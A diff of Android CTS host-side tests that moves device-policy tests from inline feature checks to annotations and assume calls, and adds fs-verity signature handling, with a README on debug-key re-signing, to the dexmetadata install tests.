         mUserId = getPrimaryUser();
 
 
-        if (mHasFeature) {
-            installAppAsUser(PROFILE_OWNER_APK, mUserId);
-            if (!setProfileOwner(
-                    PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /* expectFailure */ false)) {
-                removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(PROFILE_OWNER_PKG);
-                fail("Failed to set profile owner");
-            }
+        installAppAsUser(PROFILE_OWNER_APK, mUserId);
+        if (!setProfileOwner(
+                PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /* expectFailure */ false)) {
+            removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(PROFILE_OWNER_PKG);
+            fail("Failed to set profile owner");
         }
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode(bugId = "183020176",
+            reason = "decide if it's needed or fix it")
     public void testManagement() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeProfileOwnerTest("ManagementTest");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode(bugId = "183020176",
+            reason = "decide if it's needed or fix it")
     public void testAdminActionBookkeeping() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeProfileOwnerTest("AdminActionBookkeepingTest");
     }
 
     @Test
+    @TemporaryIgnoreOnHeadlessSystemUserMode(bugId = "183020176",
+            reason = "decide if it's needed or fix it")
     public void testAppUsageObserver() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         executeProfileOwnerTest("AppUsageObserverTest");
     }
 
+    // The backup service cannot be enabled if the backup feature is not supported.
+    @RequiresAdditionalFeatures({FEATURE_BACKUP})
     @Test
     public void testBackupServiceEnabling() throws Exception {
-        final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
-        // The backup service cannot be enabled if the backup feature is not supported.
-        if (!mHasFeature || !hasBackupService) {
-            return;
-        }
         executeProfileOwnerTest("BackupServicePoliciesTest");
     }
 
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_allOperations() throws Exception {
+        executeDevicePolicySafetyCheckerIntegrationTest("testAllOperations");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_isSafeOperation() throws Exception {
+        executeDevicePolicySafetyCheckerIntegrationTest("testIsSafeOperation");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_unsafeStateException() throws Exception {
+        executeDevicePolicySafetyCheckerIntegrationTest("testUnsafeStateException");
+    }
+
+    @Test
+    public void testDevicePolicySafetyCheckerIntegration_onOperationSafetyStateChanged()
+            throws Exception {
+        executeDevicePolicySafetyCheckerIntegrationTest("testOnOperationSafetyStateChanged");
+    }
+
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove profile owner.",
-                    removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-            getDevice().uninstallPackage(PROFILE_OWNER_PKG);
-        }
+        assertTrue("Failed to remove profile owner.",
+                removeAdmin(PROFILE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+        getDevice().uninstallPackage(PROFILE_OWNER_PKG);
 
         super.tearDown();
     }
 
     private void executeProfileOwnerTest(String testClassName) throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         String testClass = PROFILE_OWNER_PKG + "." + testClassName;
         runDeviceTestsAsUser(PROFILE_OWNER_PKG, testClass, mPrimaryUserId);
     }
@@ -109,4 +123,9 @@
             throws Exception {
         runDeviceTestsAsUser(PROFILE_OWNER_PKG, className, testName, mUserId);
     }
+
+    private void executeDevicePolicySafetyCheckerIntegrationTest(String testName) throws Exception {
+        executeProfileOwnerTestMethod(
+                PROFILE_OWNER_PKG + "." + "DevicePolicySafetyCheckerIntegrationTest", testName);
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
index 1132650..9927b51 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ProfileOwnerTestApi23.java
@@ -35,35 +35,29 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        if (mHasFeature) {
-            mUserId = USER_OWNER;
+        mUserId = USER_OWNER;
 
-            installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setProfileOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-                getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-                fail("Failed to set profile owner");
-            }
+        installAppAsUser(DEVICE_ADMIN_APK, mUserId);
+        if (!setProfileOwner(
+                DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
+                /*expectFailure*/ false)) {
+            removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+            fail("Failed to set profile owner");
         }
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            assertTrue("Failed to remove profile owner.",
-                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
-            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
-        }
+        assertTrue("Failed to remove profile owner.",
+                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+
         super.tearDown();
     }
 
     @Test
     public void testDelegatedCertInstaller() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG,
                 ".DelegatedCertInstallerTest", "testSetNotExistCertInstallerPackage",  mUserId);
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
index 1313c31..2789739 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/QuietModeHostsideTest.java
@@ -1,9 +1,12 @@
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.LargeTest;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
 import org.junit.Test;
@@ -16,6 +19,7 @@
  * CTS to verify toggling quiet mode in work profile by using
  * {@link android.os.UserManager#requestQuietModeEnabled(boolean, android.os.UserHandle)}.
  */
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class QuietModeHostsideTest extends BaseDevicePolicyTest {
     private static final String TEST_PACKAGE = "com.android.cts.launchertests";
     private static final String TEST_CLASS = ".QuietModeTest";
@@ -47,39 +51,33 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        mHasFeature = mHasFeature & hasDeviceFeature("android.software.managed_users");
+        mOriginalLauncher = getDefaultLauncher();
 
-        if (mHasFeature) {
-            mOriginalLauncher = getDefaultLauncher();
+        installAppAsUser(TEST_APK, mPrimaryUserId);
+        installAppAsUser(TEST_LAUNCHER_APK, mPrimaryUserId);
 
-            installAppAsUser(TEST_APK, mPrimaryUserId);
-            installAppAsUser(TEST_LAUNCHER_APK, mPrimaryUserId);
+        waitForBroadcastIdle();
 
-            waitForBroadcastIdle();
+        createAndStartManagedProfile();
+        installAppAsUser(TEST_APK, mProfileId);
 
-            createAndStartManagedProfile();
-            installAppAsUser(TEST_APK, mProfileId);
-
-            waitForBroadcastIdle();
-            wakeupAndDismissKeyguard();
-        }
+        waitForBroadcastIdle();
+        wakeupAndDismissKeyguard();
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            uninstallRequiredApps();
-            getDevice().uninstallPackage(TEST_LAUNCHER_PACKAGE);
-        }
+        uninstallRequiredApps();
+        getDevice().uninstallPackage(TEST_LAUNCHER_PACKAGE);
+
         super.tearDown();
     }
 
     @LargeTest
     @Test
     public void testQuietMode_defaultForegroundLauncher() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Add a lockscreen to test the case that profile with unified challenge can still
         // be turned on without asking the user to enter the lockscreen password.
         changeUserCredential(/* newCredential= */ TEST_PASSWORD, /* oldCredential= */ null,
@@ -100,9 +98,6 @@
     @LargeTest
     @Test
     public void testQuietMode_notForegroundLauncher() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 TEST_PACKAGE,
                 TEST_CLASS,
@@ -114,9 +109,6 @@
     @LargeTest
     @Test
     public void testQuietMode_notDefaultLauncher() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 TEST_PACKAGE,
                 TEST_CLASS,
@@ -140,9 +132,6 @@
 
     private void checkBroadcastManagedProfileAvailable(boolean withCrossProfileAppOps)
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installCrossProfileApps();
         if (withCrossProfileAppOps) {
             enableCrossProfileAppsOp();
@@ -208,9 +197,8 @@
     @LargeTest
     @Test
     public void testQuietMode_noCredentialRequest() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Set a separate work challenge so turning on the profile requires entering the
         // separate challenge.
         changeUserCredential(/* newCredential= */ TEST_PASSWORD, /* oldCredential= */ null,
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
index b3983b6..e38ed50 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
@@ -20,8 +20,6 @@
 
 import org.junit.Test;
 
-import com.android.tradefed.device.DeviceNotAvailableException;
-
 /**
  * Host side tests for separate profile challenge permissions.
  * Run the CtsSeparateProfileChallengeApp device side test.
@@ -37,11 +35,13 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
+
         setHiddenApiPolicyOn();
     }
 
     @Override
     public void tearDown() throws Exception {
+
         removeTestUsers();
         getDevice().uninstallPackage(SEPARATE_PROFILE_PKG);
         setHiddenApiPolicyPreviousOrOff();
@@ -51,9 +51,7 @@
     @SecurityTest
     @Test
     public void testSeparateProfileChallengePermissions() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
         // Create managed profile.
         final int profileUserId = createManagedProfile(mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
index 45156c2..301e1e4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/UserRestrictionsTest.java
@@ -15,8 +15,11 @@
  */
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import static org.junit.Assert.assertTrue;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
 import com.android.tradefed.device.DeviceNotAvailableException;
 
 import org.junit.Test;
@@ -49,24 +52,22 @@
         super.setUp();
 
         mRemoveOwnerInTearDown = false;
-        mDeviceOwnerUserId = mPrimaryUserId;
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            if (mRemoveOwnerInTearDown) {
-                assertTrue("Failed to clear owner",
-                        removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
-                                mDeviceOwnerUserId));
-                runTests("userrestrictions.CheckNoOwnerRestrictionsTest", mDeviceOwnerUserId);
-            }
-
-            // DO/PO might have set DISALLOW_REMOVE_USER, so it needs to be done after removing
-            // them.
-            removeTestUsers();
-            getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+        if (mRemoveOwnerInTearDown) {
+            assertTrue("Failed to clear owner",
+                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
+                            mDeviceOwnerUserId));
+            runTests("userrestrictions.CheckNoOwnerRestrictionsTest", mDeviceOwnerUserId);
         }
+
+        // DO/PO might have set DISALLOW_REMOVE_USER, so it needs to be done after removing
+        // them.
+        removeTestUsers();
+        getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
+
         super.tearDown();
     }
 
@@ -82,9 +83,6 @@
 
     @Test
     public void testUserRestrictions_deviceOwnerOnly() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         setDo();
 
         runTests("userrestrictions.DeviceOwnerUserRestrictionsTest",
@@ -97,14 +95,6 @@
 
     @Test
     public void testUserRestrictions_primaryProfileOwnerOnly() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        if (hasUserSplit()) {
-            // Can't set PO on user-0 in this mode.
-            return;
-        }
-
         setPoAsUser(mDeviceOwnerUserId);
 
         runTests("userrestrictions.PrimaryProfileOwnerUserRestrictionsTest",
@@ -118,9 +108,8 @@
     // Checks restrictions for managed user (NOT managed profile).
     @Test
     public void testUserRestrictions_secondaryProfileOwnerOnly() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
+        assumeSupportsMultiUser();
+
         final int secondaryUserId = createUser();
         setPoAsUser(secondaryUserId);
 
@@ -133,11 +122,10 @@
     }
 
     // Checks restrictions for managed profile.
+    @RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
     @Test
     public void testUserRestrictions_managedProfileOwnerOnly() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser || !mHasManagedUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
 
         // Create managed profile.
         final int profileUserId = createManagedProfile(mDeviceOwnerUserId /* parentUserId */);
@@ -158,14 +146,18 @@
      */
     @Test
     public void testUserRestrictions_layering() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
+        assumeSupportsMultiUser();
         setDo();
 
-        // Create another user and set PO.
-        final int secondaryUserId = createUserAndWaitStart();
-        setPoAsUser(secondaryUserId);
+        final int secondaryUserId;
+        if (!isHeadlessSystemUserMode()) {
+            // Create another user and set PO.
+            secondaryUserId = createUserAndWaitStart();
+            setPoAsUser(secondaryUserId);
+        } else {
+            // In headless system user mode, PO is set on primary user when DO is set
+            secondaryUserId = mPrimaryUserId;
+        }
 
         // Ensure that UserManager differentiates its own restrictions from DO restrictions.
         runTests("userrestrictions.DeviceOwnerUserRestrictionsTest",
@@ -201,13 +193,8 @@
      */
     @Test
     public void testUserRestrictions_layering_profileOwnerNoLeaking() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
-        if (hasUserSplit()) {
-            // Can't set PO on user-0 in this mode.
-            return;
-        }
+        assumeSupportsMultiUser();
+
         // Set PO on user 0
         setPoAsUser(mDeviceOwnerUserId);
 
@@ -230,14 +217,17 @@
      */
     @Test
     public void testUserRestrictions_profileGlobalRestrictionsAsDo() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser) {
-            return;
-        }
+        assumeSupportsMultiUser();
         setDo();
-
-        // Create another user with PO.
-        final int secondaryUserId = createUserAndWaitStart();
-        setPoAsUser(secondaryUserId);
+        final int secondaryUserId;
+        if (!isHeadlessSystemUserMode()) {
+            // Create another user and set PO.
+            secondaryUserId = createUserAndWaitStart();
+            setPoAsUser(secondaryUserId);
+        } else {
+            // In headless system user mode, PO is set on primary user when DO is set.
+            secondaryUserId = mPrimaryUserId;
+        }
 
         final int[] usersToCheck = {mDeviceOwnerUserId, secondaryUserId};
 
@@ -249,11 +239,11 @@
      * Managed profile owner sets profile global restrictions (only ENSURE_VERIFY_APPS), should
      * affect all users.
      */
+    @RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
     @Test
     public void testUserRestrictions_ProfileGlobalRestrictionsAsPo() throws Exception {
-        if (!mHasFeature || !mSupportsMultiUser || !mHasManagedUserFeature) {
-            return;
-        }
+        assumeCanCreateOneManagedUser();
+
         // Set PO on user 0
         setPoAsUser(mDeviceOwnerUserId);
 
@@ -290,6 +280,11 @@
                 setDeviceOwner(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
                         mDeviceOwnerUserId, /*expectFailure*/ false));
         mRemoveOwnerInTearDown = true;
+
+        if (isHeadlessSystemUserMode()) {
+            affiliateUsers(DEVICE_ADMIN_PKG, mDeviceOwnerUserId, mPrimaryUserId);
+            grantDpmWrapperPermissions(DEVICE_ADMIN_PKG, mPrimaryUserId);
+        }
     }
 
     /**
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
index 3262632..5ab3ddb0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
@@ -63,9 +63,6 @@
     }
 
     void cleanLogs() throws Exception {
-        if (isStatsdDisabled()) {
-            return;
-        }
         removeConfig(CONFIG_ID);
         getReportList(); // Clears data.
     }
@@ -236,14 +233,4 @@
         mDevice.executeShellCommand(command, receiver);
         return parser.parseFrom(receiver.getOutput());
     }
-
-    boolean isStatsdDisabled() throws DeviceNotAvailableException {
-        // if ro.statsd.enable doesn't exist, statsd is running by default.
-        if ("false".equals(mDevice.getProperty("ro.statsd.enable"))
-                && "true".equals(mDevice.getProperty("ro.config.low_ram"))) {
-            CLog.d("Statsd is not enabled on the device");
-            return true;
-        }
-        return false;
-    }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
index c1cb1ee..f9f7a17 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
@@ -38,16 +38,11 @@
 
     /**
      * Asserts that <code>expectedLogs</code> were logged as a result of executing
-     * <code>action</code>, in the same order. Note that {@link Action#apply() } is always
-     * invoked on the <code>action</code> parameter, even if statsd logs are disabled.
+     * <code>action</code>, in the same order.
      */
     public static void assertMetricsLogged(ITestDevice device, Action action,
             DevicePolicyEventWrapper... expectedLogs) throws Exception {
         final AtomMetricTester logVerifier = new AtomMetricTester(device);
-        if (logVerifier.isStatsdDisabled()) {
-            action.apply();
-            return;
-        }
         try {
             logVerifier.cleanLogs();
             logVerifier.createAndUploadConfig(Atom.DEVICE_POLICY_EVENT_FIELD_NUMBER);
@@ -66,16 +61,11 @@
 
     /**
      * Asserts that <code>expectedLogs</code> were not logged as a result of executing
-     * <code>action</code>. Note that {@link Action#apply() } is always
-     * invoked on the <code>action</code> parameter, even if statsd expectedLogs are disabled.
+     * <code>action</code>.
      */
     public static void assertMetricsNotLogged(ITestDevice device, Action action,
             DevicePolicyEventWrapper... expectedLogs) throws Exception {
         final AtomMetricTester logVerifier = new AtomMetricTester(device);
-        if (logVerifier.isStatsdDisabled()) {
-            action.apply();
-            return;
-        }
         try {
             logVerifier.cleanLogs();
             logVerifier.createAndUploadConfig(Atom.DEVICE_POLICY_EVENT_FIELD_NUMBER);
@@ -92,11 +82,6 @@
         }
     }
 
-    public static boolean isStatsdEnabled(ITestDevice device) throws DeviceNotAvailableException {
-        final AtomMetricTester logVerifier = new AtomMetricTester(device);
-        return !logVerifier.isStatsdDisabled();
-    }
-
     private static void assertExpectedMetricLogged(List<EventMetricData> data,
             DevicePolicyEventWrapper expectedLog) {
         assertWithMessage("Expected metric was not logged.")
@@ -122,4 +107,4 @@
         });
         return closestMatches.contains(expectedLog);
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/dexmetadata/app/SplitApp/AndroidManifest.xml b/hostsidetests/dexmetadata/app/SplitApp/AndroidManifest.xml
index 23ba9bc..cb79717 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/dexmetadata/app/SplitApp/AndroidManifest.xml
@@ -15,14 +15,15 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.dexmetadata.splitapp"
-        android:isolatedSplits="true">
+     package="com.android.cts.dexmetadata.splitapp"
+     android:isolatedSplits="true">
 
     <application android:debuggable="true">
-        <activity android:name=".BaseActivity">
+        <activity android:name=".BaseActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/AndroidManifest.xml b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/AndroidManifest.xml
index 40b4c99..dedf124 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/AndroidManifest.xml
+++ b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/AndroidManifest.xml
@@ -15,15 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.dexmetadata.splitapp"
-        android:isFeatureSplit="true"
-        split="feature_a">
+     package="com.android.cts.dexmetadata.splitapp"
+     android:isFeatureSplit="true"
+     split="feature_a">
 
     <application android:debuggable="true">
-        <activity android:name=".feature_a.FeatureAActivity">
+        <activity android:name=".feature_a.FeatureAActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/dexmetadata/host/README.md b/hostsidetests/dexmetadata/host/README.md
new file mode 100644
index 0000000..b1b3a95
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/README.md
@@ -0,0 +1,30 @@
+Fs-verity keys
+==============
+All AOSP compatible devices ship with the Google-managed fs-verity certificate
+(located at build/make/target/product/security/fsverity-release.x509.der). The
+public key can verify the signature prebuilt of .dm.fsv\_sig in res/.
+
+Modifying a .dm file requires to regenerate the signature with some debug key.
+To use the debug key, you can run the following commands once per boot.
+
+```
+KEY_DIR=$ANDROID_BUILD_TOP/cts/hostsidetests/appsecurity/test-apps/ApkVerityTestApp/testdata
+
+adb root
+adb shell 'mini-keyctl padd asymmetric fsv-play .fs-verity' < $KEY_DIR/fsverity-debug.x509.der
+```
+
+Alternatively, copy the .der file to /{system, product}/etc/security/fsverity.
+The key will be located upon reboot.
+
+How to modify the signed .dm
+============================
+The easiet way is to re-sign and replace the signature in place. For example,
+
+```
+m fsverity
+
+fsverity sign CtsDexMetadataSplitApp.dm CtsDexMetadataSplitApp.dm.fsv_sig \
+  --key="$KEY_DIR/fsverity-debug-key.pem" \
+  --cert="$KEY_DIR/fsverity-debug.x509.pem"
+```
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm.fsv_sig b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm.fsv_sig
new file mode 100644
index 0000000..ba049b5
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm.fsv_sig b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm.fsv_sig
new file mode 100644
index 0000000..2f56cb0
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm.fsv_sig b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm.fsv_sig
new file mode 100644
index 0000000..4957651
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm.fsv_sig b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm.fsv_sig
new file mode 100644
index 0000000..fc9f808
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm.fsv_sig
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
index eb9498e..7f81e06 100644
--- a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
+++ b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/BaseInstallMultiple.java
@@ -57,8 +57,17 @@
         return (T) this;
     }
 
-    T addDm(File dma) {
+    T addDm(File dma, File sig) {
         mFilesToInstall.add(dma);
+        if (sig != null) {
+            mFilesToInstall.add(sig);
+        }
+        return (T) this;
+    }
+
+    T inheritFrom(String packageName) {
+        addArg("-r");
+        addArg("-p " + packageName);
         return (T) this;
     }
 
diff --git a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
index ad6aef8..7c11420 100644
--- a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
+++ b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
@@ -18,10 +18,13 @@
 
 import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.FileUtil;
@@ -68,23 +71,32 @@
     private static final String DM_FEATURE_A_WITH_VDEX
     = "CtsDexMetadataSplitAppFeatureAWithVdex.dm";
 
+    private static final String APK_VERITY_STANDARD_MODE = "2";
+    private static final String FSV_SIG_SUFFIX = ".fsv_sig";
+
     private File mTmpDir;
     private File mApkBaseFile = null;
     private File mApkFeatureAFile = null;
     private File mApkBaseFileWithVdex = null;
     private File mApkFeatureAFileWithVdex = null;
     private File mDmBaseFile = null;
+    private File mDmBaseFsvSigFile = null;
     private File mDmFeatureAFile = null;
+    private File mDmFeatureAFsvSigFile = null;
     private File mDmBaseFileWithVdex = null;
+    private File mDmBaseFileWithVdexFsvSig = null;
     private File mDmFeatureAFileWithVdex = null;
+    private File mDmFeatureAFileWithVdexFsvSig = null;
     private boolean mShouldRunTests;
+    private boolean mFsVerityRequiredForDm;
 
     /**
      * Setup the test.
      */
     @Before
     public void setUp() throws Exception {
-        getDevice().uninstallPackage(INSTALL_PACKAGE);
+        ITestDevice device = getDevice();
+        device.uninstallPackage(INSTALL_PACKAGE);
         mShouldRunTests = ApiLevelUtil.isAtLeast(getDevice(), 28)
                 || ApiLevelUtil.isAtLeast(getDevice(), "P")
                 || ApiLevelUtil.codenameEquals(getDevice(), "P");
@@ -92,15 +104,27 @@
         Assume.assumeTrue("Skip DexMetadata tests on releases before P.", mShouldRunTests);
 
         if (mShouldRunTests) {
+            boolean fsVeritySupported = device.getLaunchApiLevel() >= 30
+                    || APK_VERITY_STANDARD_MODE.equals(device.getProperty("ro.apk_verity.mode"));
+            boolean fsVerityRequired = "true".equals(
+                    device.getProperty("pm.dexopt.dm.require_fsverity"));
+            mFsVerityRequiredForDm = fsVeritySupported && fsVerityRequired;
+
             mTmpDir = FileUtil.createTempDir("InstallDexMetadataHostTest");
             mApkBaseFile = extractResource(APK_BASE, mTmpDir);
             mApkFeatureAFile = extractResource(APK_FEATURE_A, mTmpDir);
             mApkBaseFileWithVdex = extractResource(APK_BASE_WITH_VDEX, mTmpDir);
             mApkFeatureAFileWithVdex = extractResource(APK_FEATURE_A_WITH_VDEX, mTmpDir);
